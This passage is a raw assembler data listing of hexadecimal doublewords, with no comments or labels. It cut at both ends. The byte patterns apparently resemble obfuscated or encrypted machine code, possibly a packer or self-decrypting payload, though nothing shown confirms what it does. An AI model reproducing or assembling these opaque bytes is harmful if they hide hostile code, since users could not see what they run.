7B507F92h dd 9A8CBCBFh, 0C858D08h, 0F0615BDh, 489h, 3EBF6600h, 0BEB75074h dd 29240489h, 1210CD95h, 3195FF06h, 6A061230h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 897EC350h, 122E118Dh, 0CF806106h, 1185C7FBh, 3061200h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0E81CC357h, 13E9h, 802B600h, 0F8CDB179h dd 0ECA413A9h, 7910C7D3h, 0E0D2A969h, 0BD0CBD83h, 0F000615h dd 4D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 63DE4155h, 538C5452h, 5E8h, 34632800h dd 0EF80CE2Bh, 605F5BB0h, 2820Fh, 5A510000h, 855BD31h dd 0E9610612h, 21h, 23BD9589h, 30500612h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 459589C0h, 0F061208h dd 0BD83F9BFh, 6120011h, 2E850F03h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 3691C351h, 8B0703FCh, 120C619Dh, 7D9D8B06h, 83061216h dd 15BD0CBDh, 840F0006h, 3F5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 36C35343h, 1C17ABADh, 0C31FD384h dd 0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 5E3F64C3h, 39C177C3h, 93C78177h dd 0FF6D64EEh, 12202995h, 0B3BB6606h, 0B58BDBh, 6A0615BDh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0C12BC356h, 0BD8BE065h, 6121371h, 106C7h dd 9D030001h, 6121DE1h, 0D88A96F8h, 0EE850h, 66C90000h dd 1F500C4Ah, 0F162DFA6h, 14099169h, 5BE9BF66h, 6A965Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0F96257C3h, 95845E4h, 122EF19Dh, 0CB5FF06h, 6A0615BDh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 1431C352h, 0DC49AE02h, 9D894DC8h, 6121709h dd 1AE195FFh, 0FA8B0612h, 850Fh, 0B58B0000h, 615BD00h dd 858B5B57h, 6123039h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0CAC35141h, 331836D5h, 0F5548A51h, 13E8h dd 53C7DC00h, 0C87E0EA3h, 1BE959AFh, 8031B5ABh, 0A0D1275Ch dd 2239B501h, 895F0612h, 0C486h, 0DD952900h, 8B06122Eh dd 122DCD95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 6DB2103Ah, 83EC3516h, 0D88A04C2h dd 0F205089h, 381h, 0DE8B6600h, 0D0EA858Dh, 6A0615h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 78D56CC3h, 0BFC2182Fh, 9D23513Ah, 6122889h, 0B88689h dd 850F0000h, 5, 2FCF8166h, 6A006A2Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 896EC356h dd 0BD0CB5FFh, 0F3810615h, 32C264E8h, 2CD595FFh, 0B70F0612h dd 44B750FFh, 6A243489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 69F8C350h, 440961FAh dd 5BFE8B56h, 0BD0CB5FFh, 0BD030615h, 6121985h, 2E2995FFh dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 840F48C3h, 3, 83DE8B66h, 121189BDh, 840F0006h dd 43h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h dd 36C35242h, 12136F6Ah, 9E9511Ch, 49000000h, 11C6054Ah dd 0C730697Eh, 6CBF505Fh, 897026D6h, 0BF0F2434h, 83E381FAh dd 0FF5722F5h, 15BD0CB5h, 0FFF98B06h, 122AA595h, 159D8B06h dd 0FF061214h, 15BD0CB5h, 95FFFC06h, 6121BB1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9C35646h, 10E960BAh dd 94000000h, 0E8E277CEh, 379CACFh, 0AC0A2EB2h, 13D8496h dd 12117195h, 840F6106h, 3, 83D98B66h, 122A41BDh, 840F0206h dd 71h, 8BD88B66h, 1218A985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D8B8E7Ah dd 6120449h, 14E8h, 21243700h, 5BBB92Ah, 84DA462Dh, 72D06081h dd 0E138F886h, 519D8B29h, 5F061207h, 6A0000C6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D84CC350h, 0ADE38056h, 185C75Fh, 61203h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 9806C353h, 12880F15h, 60000000h, 1C0BB966h dd 6E8h, 0BAF70F00h, 5FC8E297h, 0F351E961h, 0C18BFFFFh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B3C35646h dd 0D8F65FF8h, 0E81F813Dh, 7, 0A6122D19h, 0F176B94h, 1684h dd 11E900h, 68FD0000h, 0A21A5201h, 4E9BA886h, 7DE5E5DDh dd 5F3F45E5h, 5A5CC781h, 9D8B0000h, 61203C5h, 165C68h dd 9DB58900h, 5A061224h, 2121BD89h, 78B0612h, 8C0Fh, 0E8810000h dd 75735E0Ah, 8194CF80h, 9A8DC0h, 0CE858h, 97C40000h, 1C41A37Ch dd 3222778Eh, 810FE429h, 19h, 13E8h, 0DA8AB700h, 0C4B06E30h dd 512B1DBEh, 0EF477632h, 0D9B34A27h, 0E8815E5Eh, 0D60EA2Ah dd 6E8h, 5CD9A600h, 5221410Eh, 0D6B5B6BEh, 895B590Eh, 8148B707h dd 0D2105AEFh, 0C781F551h, 51D21056h, 1EA81h, 850F0000h dd 12h, 2D319D8Bh, 25E90612h, 0C4000000h, 66A965F0h, 8E957AAh dd 2000000h, 6B523873h, 0E9F8F265h, 0FFFFFF5Eh, 2D1380CEh dd 377FA474h, 0F77D1F4h, 0CE9h, 0F6FD6B00h, 2 dup(0) dd 5EDE900h, 0E3AE0000h, 4646DF2Ch, 0A7E37CC9h, 0D821B68h dd 711CB502h, 5461519Eh, 0CF1CF39Ah, 6DBA5536h, 653BCD4h dd 0A1EE216Dh, 177078C7h, 644DF6A0h, 0D9B77087h, 7275A336h dd 808FFD1Ch, 7617E015h, 0DBB34C99h, 5836FF34h, 0D3B982B7h dd 5D71073Ch, 0EA256984h, 838C049Dh, 20283F36h, 47DF5F67h dd 97CC434Bh, 8E212CC4h, 0C7FC137Dh, 18C8DFEh, 2FE0AD0Eh dd 0FBE78FC4h, 7E869DE6h, 47DF6009h, 0FE33DCB1h, 0F588932Bh dd 206DACE4h, 403784EFh, 5F662129h, 0E6EE47DFh, 47DF5FA1h dd 343FD7E2h, 11FE90A1h, 5FCAC4DCh, 66D247DFh, 0FEBC147Bh dd 646922BCh, 0BB000000h, 0BEF31C72h, 0DF5FE7A6h, 9C45B147h dd 15A672F3h, 7F733550h, 6DA26D1Eh, 3A9A079Ah, 0EF22BCE7h dd 1, 0F51A7241h, 7A95F7C0h, 0EB9CA4BBh, 9847DF5Fh, 4C15FA8Dh dd 17707843h, 9B47DF60h, 0BC851DF2h, 9F2299D4h, 3FAA1543h dd 8160740Ah, 9CE92666h, 18E8B03h, 9B06D90Eh, 0EF9E574Eh dd 725F8D20h, 0B435F41Bh, 8E55F6A1h, 0AE9326E6h, 1C72A7E5h dd 2CEBBEF3h, 0DFEC6324h, 0AA152047h, 0B75832EBh, 34535B82h dd 4747DFEDh, 593ED13Ch, 0EBF67Ah, 0ACC3828Dh, 0DFECE3A4h dd 5AB5D747h, 0B9BA5225h, 0A6CF3AD5h, 0EC676F8Fh, 3835C8CEh dd 0EB20EF9Fh, 72A76822h, 741BC6E2h, 22BC896Ch, 79B9h dd 1B720B00h, 94F6BFF4h, 9CB0467Bh, 6EE3AA45h, 1C9D0459h dd 4B3C44AEh, 3847DFB3h, 0A57C22Dh, 8B305A13h, 0DFB40483h dd 16C7747h, 0F598F9CCh, 1776871Ah, 859CC3F8h, 0DFB40A7Dh dd 0D6E7947h, 86598E81h, 62ADE2F3h, 475E9D2Dh, 0DFB3483Fh dd 9D303B47h, 0E9F99051h, 3E22BCA8h, 41h, 35A4CE4Fh, 0B02D0452h dd 1B72EF1Dh, 9AF6BFF4h, 0FF434075h, 898607E2h, 1A72863Ch dd 0D6B536F5h, 0F59F20B8h, 859D8215h, 47DFFC09h, 0D5BC2591h dd 22BC62FDh, 838C04BDh, 0E6E87B4Eh, 1, 0F7187238h, 7A95F9C2h dd 30B19D45h, 0ED3AD5B5h, 0BF503DF6h, 3A56B78Ah, 3ACDA0D5h dd 0B6755C65h, 0F18350AEh, 17767749h, 18838C02h, 70A510E3h dd 0DB28E7A7h, 0AF602BE4h, 314A77Ah, 5F28308Bh, 0F54DF18Ch dd 0F18C9AEDh, 46DEE94Dh, 749BD03Bh, 0B40CFBBh, 4845A538h dd 764DF18Dh, 0FDC6FB14h, 9F477C93h, 14A92EB3h, 0B8D611D0h dd 1D710A57h, 1AB233F2h, 493E468Eh, 3A4DF193h, 7E83062Fh dd 54BBD031h, 0D4B94C1Fh, 0F98E96ADh, 8A4DF184h, 0B3DBEC7Fh dd 6707579Eh, 0E2B5EA25h, 62AB52B9h, 3CE3C2F7h, 0D1060983h dd 0C21F6BFEh, 5BA86727h, 0AEAC6E66h, 0FA954E24h, 7A0DE015h dd 1BF78h, 0A5AECA00h, 474801C0h, 0EC57B8D2h, 0E251E4B7h dd 0F17748DAh, 38571049h, 3CCFA2D7h, 0FA8D95F4h, 894DF178h dd 0E9E30DC0h, 4DB866FCh, 0CD86ADE2h, 521B50BFh, 0D467D23Dh dd 0F744CBC3h, 0AADF305Eh, 2D62ADE1h, 0CC17CA4Eh, 0B004DC2h dd 24AEF38Bh, 9B60h, 525A7100h, 4DF17935h, 7AA83B46h, 0C3C9A4AEh dd 3E4E174Ch, 5EC99CD1h, 3B2C34F3h, 48C7DF5Fh, 0AE677E3Dh dd 27FA2FE0h, 0DF5F1077h, 3F6873C7h, 0C3E40512h, 795EF13Bh dd 1EF19952h, 415C2B8Bh, 3456C7DFh, 0B0DDA6DBh, 0C74B2A5Fh dd 4EC1CF1Ah, 0FD286E3h, 40CFBD76h, 8DCED8ADh, 0DF420285h dd 1A2281C7h, 0C7DF416Dh, 0D998030Eh, 0DF41B6D1h, 4FBAC5C7h dd 41DF8890h, 0D1DC47DFh, 6E768D84h, 47DF7D19h, 0BDCC5F6Ah dd 0E0h, 59622DE6h, 0DF7D3651h, 0CF3A4547h, 634C79Ah, 1C0A5AEh dd 5FA5E2EAh, 0CBD647DFh, 8DC1C938h, 0F849F181h, 9FEFB8EDh dd 732C2370h, 0EF98A01Bh, 8C4DF188h, 0EE11681h, 0EB246A7Bh dd 0B6D68FB6h, 0BE512459h, 0F1882E5Eh, 0DD32584Dh, 63ACDFA8h dd 479A862Eh, 7F96FD92h, 0F1891077h, 2AE5AA4Dh, 7F8A22F5h dd 0A9D721Eh, 0C6C823BEh, 969FFC49h, 8934535Bh, 127E4DF1h dd 0FE0665FDh, 4DF18889h, 1984EFFAh, 0BC2435Ah, 26C7EBFFh dd 0D7897F7h, 6B3E1A7Ah, 96A15007h, 0A26D1ED7h, 22079A6Dh dd 0A5DA3559h, 295EB1DCh, 0AADF3060h, 637869ADh, 7BAA3723h dd 0D028D72h, 4BCCE3A2h, 0DDD51221h, 1676D71Ah, 5EF1C4F9h dd 0FA5F5AFEh, 46444549h, 56C194C9h, 0F788097h, 6C4DF1E1h dd 1BD1CE61h, 92F5FD14h, 0F147DF5Fh, 757E53E6h, 0A3BAD190h dd 0DF5FEC9Bh, 0AC8FE47h, 0A1D4132Eh, 27D5FE09h, 7298CFD7h dd 2F29891Ch, 9249F4B7h, 810FC887h, 0B855323Ah, 1B264DF6h dd 15A87BB0h, 0E8276730h, 8D8C029Bh, 0A52654FDh, 0C331F1D0h dd 7C93F758h, 0F6995211h, 7E11E419h, 0EBD18199h, 99F34F38h dd 17784176h, 4AFEC3F8h, 144297h, 878806E1h, 22EDA13Ah dd 0A46B24EDh, 6DBC76Fh, 0F5CB3DBh, 8EF90118h, 0ED48D5C2h dd 0F60C0024h, 0F45F6C55h, 0D13E5061h, 14D59Ch, 143F0000h dd 5F92F5FDh, 0E6F147DFh, 32AEC4BDh, 0C75AF45Ah, 1F727866h dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 68D4DB10h, 27CAh dd 50241489h, 405E089h, 2D000000h, 4, 5C240487h, 68243C89h dd 6DCAh, 56241C89h, 9447AFBEh, 0B9514E0Ah, 3DA859ADh dd 8159CE31h, 2B5EC7F6h, 5EF78931h, 241C8B54h, 5004C483h dd 8B8h, 57D80100h, 8B58008Fh, 8953241Ch, 4C381E3h, 83000000h dd 1C8704C3h, 3C8B5C24h, 0E1895124h, 4C181h, 0C1830000h dd 240C8704h, 3A53E95Ch, 48ACFFFBh, 0B82D50EAh, 6174631h dd 0E0FFC503h, 64EC6EB7h, 29B4C23Ch, 2A7D95F8h, 2812BF9Eh dd 7D66E3Dh, 1DB167B7h, 37BF0DF3h, 478F8D8Dh, 6A0617h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0CBAEF4C3h, 2DCD8D89h, 0D3810612h, 5076C67Dh, 31BD85C7h dd 5DC40612h, 0B58B0000h, 6122919h, 1185C7h, 612h, 9D8B0000h dd 6120885h, 835B5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 7CEA7CC3h, 278195FFh dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0ABB93AC3h, 67D87023h, 560B38E2h, 0CE9h dd 0CFA2AD00h, 5026E484h, 7440AA29h, 6A5E29h, 29D195FFh dd 0C08B0612h, 0A8654DEBh, 3C4B1770h, 3F954C8Ch, 96DDD959h dd 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh, 0F97FC63Bh dd 0E0A6E69Fh, 5277BE5Eh, 75664AE0h, 0E36325A5h, 0B3D3F837h dd 0A552FAF0h, 0C1A5Ch, 74CD759Eh, 6E5C3904h, 90BBAE24h dd 0E9DA72BCh, 19h, 0B49C23Bh, 5 dup(0) dd 4EAE900h, 236E0000h, 86069FECh, 0E7A33C89h, 4D42DB28h dd 0B1DC75C2h, 9421115Eh, 8FDC335Ah, 2D7A95F6h, 0C613FC94h dd 61AE612Dh, 57303887h, 244DF6A7h, 1C727147h, 98F5BEF3h dd 1C332A77h, 0DF5F7314h, 72051047h, 0A3EC2D61h, 3CC016Ch dd 864F848Bh, 3ED40906h, 622CB72Ah, 0C9C760ADh, 3060F946h dd 0AAE1AADFh, 9C883065h, 29E6AA45h, 3ADFB16Ah, 194EB956h dd 0BFB6B346h, 629E943Eh, 0FF92ED22h, 3A6FA0EEh, 0DFF26C22h dd 0D7385247h, 58B7D9A2h, 93F4FC23h, 0F047DFF2h, 0D50C50E5h dd 0C0218D10h, 7D3F46C7h, 0C5E3EFB7h, 74CDC532h, 531A22BCh dd 6C000000h, 0B0351C72h, 6C94629h, 40C180EBh, 0B45D6699h dd 886D0076h, 0DF7D1D70h, 0CE137F47h, 80A334B5h, 56705E53h dd 0E97E56C3h, 1AB22BCh, 0FD000000h, 0C0F51A72h, 457A95F7h dd 0C7FC137Ch, 0DBE3FA31h, 47DF5FACh, 0E531C4CFh, 749BF1FCh dd 0F008E27h, 1B720CC2h, 96F6BFF4h, 8F01BA79h, 0E5784B80h dd 0B9563700h, 3DD2BB84h, 1AC70B08h, 17CA4EC5h, 384F576Eh dd 2447DF60h, 0DF5F6B1Ch, 750D1847h, 0C7C6D76Ah, 6CD73852h dd 708861Fh, 3A8109D2h, 0DF5F5532h, 0BA1B2647h, 32053AD5h dd 0C30292C7h, 43CF242h, 497181Dh, 126229B8h, 0A722BC42h dd 70h, 0F41B72F9h, 241798BFh, 53343C50h, 3047E055h, 5C9DFC25h dd 17738417h, 192DC3F8h, 9F701DC8h, 3BD4B952h, 0BD523D06h dd 5DCF888h, 1A6D758Ch, 6947DF63h, 165ECB5Eh, 0A322BCFFh dd 5Bh, 0F41B72F5h, 7F9AF6BFh, 0E4A3AB10h, 9747DF5Fh, 0F7B6218Ch dd 5FAFD8E0h, 3CC47DFh, 7B24DDD2h, 6DCE393Bh, 785DF01Fh dd 3FAA377Bh, 0BE74C14Eh, 0DD325B14h, 0BC53394Ah, 601F6F87h dd 0F39D47DFh, 701EE71Ch, 0BE513E9Fh, 2DFF389h, 0F3EE5ADDh dd 0BCFE249Ch, 1F122h, 14430000h, 0C84744FDh, 0DF5F6F18h dd 0D8010C47h, 0DC7C537Ah, 3445D85Dh, 0BB84B956h, 0A7E0E8D3h dd 0D447DF63h, 81295EC9h, 0E9A14C95h, 63BDCAD2h, 0B3BE47DFh dd 959EFB48h, 380CBEF2h, 5ABB5DF9h, 0B170DB34h, 0F18755A9h dd 30657049h, 3BB18809h, 291CCD45h, 8FEA010Ch, 59BA25C1h dd 3748DB34h, 0D26BB857h, 4946FFBCh, 0EBE91C6h, 4DF1C779h dd 0D594FF0Ah, 0A9D721Ch, 0C7800D25h, 0C60A4DF1h, 51BED01Bh dd 0EC236B04h, 0B5D790B7h, 7EE92664h, 5BB4DAEBh, 89A04726h dd 0F1C80681h, 0D76A754Dh, 38B568Bh, 0C7D7B0B8h, 99A44DF1h dd 0D4B66F2Eh, 5DC84745h, 0C5C25528h, 0AE96F0D0h, 1352524h dd 14770000h, 1446E293h, 0A0ECDCD2h, 0FC673A6Fh, 0A68B9469h dd 39D766E7h, 356AA5E7h, 0DB923962h, 18208F22h, 49F1F90Ah dd 0ECB5EAF5h, 87206DA2h, 0AD30807h, 77568B84h, 9BF3EEF3h dd 52322774h, 8724AE65h, 3Dh, 5EB1DF98h, 0ED808FFDh, 0BFA4AEBFh dd 5F6FF800h, 0C38CC7DFh, 58380DBEh, 0BCF15C17h, 0DF1DE3A4h dd 0BA27DBC7h, 0B574616Bh, 497E91FCh, 6C74E376h, 47DF1DFBh dd 19B0FD08h, 0B3h, 0C0A5AE83h, 8155F901h, 0A5B049F1h dd 0C0C7CFE6h, 0C34DF188h, 774025B8h, 87880217h, 5836CF1Ch dd 226A82B7h, 184DF188h, 0ACE20DD4h, 858DA463h, 4DF18902h dd 75157681h, 0AD0A079Ah, 0AFF7FFA4h, 535361FFh, 0FB1229E8h dd 0F25994F3h, 0D81EE74Dh, 5B071ECCh, 201942ADh, 0CEF4D6CBh dd 9CCD2DC0h, 0AB50071Ch, 0ECA26BA0h, 0E0AB6423h, 0C627FA2Fh dd 411449C6h, 8D00C9AEh, 0B844D82h, 560ACF04h, 716568Bh dd 9DD23D4Eh, 0F6EB37CAh, 78371E27h, 0F9D9F970h, 0C0C8DF49h dd 4DF1D4C7h, 0CE16A9B4h, 0D520676Fh, 58634DF1h, 0D4F69199h dd 7A854DF1h, 0AE0CC20Fh, 0F901C0A5h, 49F4A770h, 0F008E8Fh dd 679C07DAh, 0D21FF09Eh, 85BA5539h, 0D534166Dh, 2EB3C738h dd 0E734DBB3h, 737B404Eh, 53292814h, 0BCF15C67h, 3E739CF3h dd 8D001975h, 19E21782h, 29E6A475h, 81B621F4h, 0EFF4EDD9h dd 0C31EC3AFh, 9FE8F0CBh, 0DC532927h, 801966D1h, 0A5CC010Eh dd 0DC6FA0ECh, 3CDh, 34223700h, 0BBF01F72h, 3E739CF2h dd 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h dd 568B8406h, 0DB10FF8Dh, 4EC83D4h, 57240C89h, 0C781E789h dd 4, 4EF81h, 3C870000h, 14895C24h, 4EC8124h, 89000000h dd 0BB53240Ch, 6174804h, 89DD8955h, 545B5DEAh, 81240C8Bh dd 4C4h, 81525500h, 5E54242Ch, 815D02AFh, 0AF5E54C5h, 8698902h dd 2434FF5Dh, 4C48359h, 5A2434FFh, 0E904C483h, 0FFFB3415h dd 0C5CA93B9h, 174C87B8h, 0FFC50306h, 7E7BFAE0h, 0C4DAA2Ch dd 0E804F31Ch, 2E241653h, 0DAD8632Bh, 22088A40h, 7F891E42h dd 4D5A8916h, 75F1C53Ah, 0A4B5DD6Ch, 9DA6A64h, 57F3C461h dd 0E12D285Fh, 0C6D66778h, 0E27C726Fh, 0DF8D8D49h, 6A06174Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 1ABEC356h, 266DB523h, 8D310612h, 6121CF1h dd 2DCD8D89h, 14E80612h, 47000000h, 5409D14Eh, 77FDA53Dh dd 4E005C4Bh, 2F018F74h, 668889ABh, 3311CE81h, 0BD85C75Ah dd 0E8061231h, 8B000069h, 1185C7D0h, 61200h, 0BE000000h dd 2A107E09h, 29B1B5FFh, 0DF8B0612h, 278195FFh, 7E80612h dd 0CD000000h, 0C4A1D45Bh, 8589A059h, 6122DE5h, 10E95Ah dd 23D0000h, 69BD7EFDh, 605027B5h, 27E5A789h, 6A9DC0h dd 29D195FFh, 0C08B0612h, 0D8AB4AEBh, 3E7E0C58h, 0ACCBB840h dd 48F295E1h, 0E8F01160h, 855EA9CDh, 0A877E4C3h, 0D1B34292h dd 2F2E9134h, 0EDEFCDFEh, 0DD0EC022h, 0B94FAB25h, 40C05436h dd 8923D22Ah, 0B0236B10h, 0AC643C63h, 7A57F1A8h, 27E02590h dd 38E79715h, 7E8h, 0BB2B6F00h, 2194847Fh, 5E9h, 727A2900h dd 815E9278h, 6543C6h, 51B58900h, 0BB061214h, 1924h, 3E8BC18Bh dd 0AE1EF781h, 0BF0F315Bh, 7AEF81C6h, 604EB5A9h, 7E9h dd 0C5BB7900h, 0B46C8967h, 8E9h, 6A789A00h, 0B2F5DA11h dd 0F7816140h, 583FE681h, 0AE9h, 0B3F6B800h, 8E6F2FC5h dd 571BD380h, 1A840Fh, 11E80000h, 0C9000000h, 0BA73C413h dd 73B021Bh, 3F83F5B5h, 125BE367h, 58D7C180h, 81F9068Fh dd 0AEB122EEh, 0F5952319h, 81061207h, 0AEB11EC6h, 38B0F19h dd 80000000h, 0EB81BFF5h, 1, 0FF74850Fh, 0B589FFFFh, 612283Dh dd 0FCB8996Ch, 0E823001Fh, 125120Ah, 39CC367Eh, 0B3C5F838h dd 0D9A9747Dh, 0E973125Ah, 125121Bh, 5FE64C2Ch, 501668Fh dd 5015682h, 1251295h, 0D1E64486h, 3208A7EBh, 872A1422h dd 1251218h, 852A16A4h, 12510AAh, 9288F8Ah, 0BCA61493h dd 73733A5h, 6CA11D60h, 6B251230h, 2CD4118h, 2125120Ch dd 887ED15Dh, 8021365Fh, 1B2136C5h, 422512C0h, 0B33ED133h dd 3A8487C6h, 0ACD72A4h, 0A725120Ch, 0BAFEE986h, 7D865B4Ch dd 8CACFA8Eh, 7373359h, 3A11D3Fh, 52251230h, 50CC7342h dd 6B25120Eh, 2CD4706h, 21251203h, 8878D1DCh, 802136ACh dd 15213624h, 44251230h, 0FDA6D14Dh, 3093E58Dh, 6C971806h dd 0E774293h, 517D48B0h, 1251E29h, 25656860h, 0B7E478B8h dd 62ECBE6Bh, 14F826Bh, 126FA53h, 5C051203h, 6DAC4F42h dd 45A416E4h, 1321644h, 54601230h, 0A23A61DBh, 0ECD44F6h dd 93251206h, 0A21DD88Fh, 7F95FA5Ch, 1A9C23Ah dd 8CDB57Eh, 23251230h, 32D55009h, 86966AC5h, 8A7B4C58h dd 13156B9Eh, 4D241D87h, 8043ECE4h, 59057597h, 123993Fh dd 0E2A41218h, 2E9753D8h, 6B09D285h, 2CD4103h, 21251281h dd 887ED19Bh, 8021363Ch, 1C213674h, 42251218h, 0B3C9D15Fh dd 0D92362B7h, 1B39DFAEh, 1251C68h, 75B8D4C0h, 751F9AB4h dd 92FA4F6Bh, 8AB15DC8h, 1E0AAD04h, 8A431B91h, 9CAEEE4Bh dd 73711D0h, 371C93A6h, 0F3A11D9Fh, 82251230h, 6CD1BD9h dd 0A125120Ch, 1F9ECE64h, 0BC0C2E4Bh, 7373FECh, 0E81C929Fh dd 1F976Fh, 14F1230h, 126FA4Dh, 5C05120Ch, 6DAC4FC5h, 45A41627h dd 13D16A5h, 546012C0h, 0B3773BA3h, 0DAA49697h, 0D52134Eh dd 6B245387h, 2CD4506h, 21251203h, 887AD1DEh, 802136BCh dd 1C213624h, 46251230h, 0BB2CD14Fh, 958A5FA5h, 2CD045E4h dd 244C8F8Ah, 0B40C1493h, 7372229h, 14FDA63h, 126FA67h dd 5E051218h, 7DAC4DCFh, 45A41622h, 13E1627h, 56621281h dd 141C2D03h, 14AEA4C9h, 7AD1D63h, 88251218h, 133C6BB1h dd 4E49100h, 0E9741269h, 1251282h, 58E64BE0h, 5015EE9h dd 50156B1h, 1251203h, 0FBE6434Dh, 0D0CEA29Dh, 30B82FBFh dd 13009F34h, 98B013C6h, 80230049h, 426E8209h, 70A01D93h dd 6125120Ch, 852AE28Dh, 1251203h, 4AA89FE0h, 0B723008Eh dd 34909B3Bh, 0B923001Ah, 125121Bh, 0E9761266h, 1251205h dd 5AE64923h, 5014E08h, 5015641h, 1251279h, 4DE64173h dd 0B36B044Ch, 7AD1D87h, 88251206h, 132697B6h, 6BC4ED87h dd 2CD41C0h, 21251260h, 887ED16Bh, 80213644h, 1C213648h dd 42251206h, 0FC56D150h, 453799A4h, 42DF26h, 0CD9F7401h dd 0B7B5A854h, 0BCA85288h, 7325CE6h, 53219F8Bh, 759D1414h dd 32248002h, 13265F45h, 0C0EA3966h, 0FCB8996Ch, 0E823001Fh dd 125120Ah, 39CC367Eh, 0B3C5F838h, 0D9A9747Dh, 0E983125Ah dd 8BA4F305h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0F3816646h, 6AAEA7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6DF2AC3h dd 8BADB3DDh, 0A1DB43C3h, 0A1B27960h, 0FB91C832h, 0F5383EF1h dd 0E5303616h, 0A1AB1D16h, 0F3F38C32h, 0F7F89EF1h, 0EF848BE2h dd 1A0B2854h, 1C8E7754h, 0A1DBA4B9h, 0A1B2DA63h, 0F8911932h dd 0ED38D5F1h, 0E5304216h, 0A1A72716h, 0F0F09132h, 0AA9940F1h dd 693A8287h, 0A1B7B53Dh, 2C3A1932h, 0A7A3977Bh, 8EB0FBB1h dd 0D4B12520h, 0E80C123Bh, 0A1B7DA13h, 0F2E17D46h, 0A209F2B9h dd 28B11936h, 0B3BAB9B7h, 0A82CCB34h, 5EB7379Fh, 22E9CAE1h dd 0B390818Fh, 0B6C56434h, 0A2096162h, 28B11936h, 0B3BAB9B7h dd 592CCB34h, 5EB7379Bh, 0CBE9CAE1h, 0A2599F32h, 81B16432h dd 28EEF16Dh, 20B53D4Eh, 0B8B5A876h, 0E6B14632h, 0E3A6E065h dd 4C373074h, 28A323B2h, 0B380A5B7h, 1871B934h, 0EF3BB5C7h dd 5730EA52h, 3C925140h, 0A7A3051Fh, 793DF753h, 49E0C858h dd 0A1B16431h, 0F8726B12h, 0A59555BBh, 0A595C8B3h, 0A1B1462Bh dd 0C0727273h, 0B361D1D4h, 0A1BE2119h, 86286432h, 12445776h dd 3A744E40h, 0A5B8AD87h, 0AEB5EE8Eh, 0A1B2DFB6h, 0F3B1FB32h dd 0A1B1CBDAh, 62EB4432h, 85E5BB68h, 85F59836h, 0A1B19136h dd 62E30432h, 0D21728BAh, 0BCBF912Eh, 3C3A4EC9h, 0A7A34057h dd 80D48FB1h, 0AEB11F20h, 0A1B1B9B6h, 0AAE22632h, 0B3A286A7h dd 5A3AC834h, 0A2022153h, 0A1DB6432h, 0A1B2DA63h, 0F8911932h dd 0ED38D5F1h, 0E5304216h, 0A1A72716h, 0F0F09132h, 0ABC86BF1h dd 3DB586B3h, 0A10F050Bh, 0C7B31915h, 243C74B9h, 0A7A4309Ch dd 49E02358h, 0A1B19131h, 0F8729112h, 0A59528BBh, 0A59576B3h dd 0A1B1192Bh, 972DD73h, 3DDA974h, 942CA86Ah, 21B78331h dd 714E56F5h, 25BEA4B7h, 0A1B132D2h, 65569854h, 0A73A83B2h dd 2AB14632h, 0B391FEBFh, 0F6891034h, 0AE4A4954h, 0A1B15FB7h dd 0F6B15832h, 0A1B11ADAh, 62EEAC32h, 85CDCF6Dh, 85F5A236h dd 0A1B18D36h, 62E68F32h, 1D45505Ch, 0C95AAB44h, 0C434305Dh dd 0C7B79E15h, 0A3B53EB3h, 90352C30h, 18B19131h, 0A42221ACh dd 3D89E554h, 0DC343D52h, 88B11932h, 0B3B151BFh, 217ECC34h dd 0AE59214Ah, 0A1B1FAB7h, 0F2B1A232h, 0A1B167DAh, 62EA1232h dd 85ED9069h, 85F50D36h, 0A1B15336h, 62E26032h, 3CBAC0C7h dd 0A7A3E40Bh, 0BAC4E9BBh, 20D73420h, 0AB11F4Ah, 0A187093Dh dd 0A1DB4632h, 0A1B2CB67h, 0FC919132h, 0CD3895F1h, 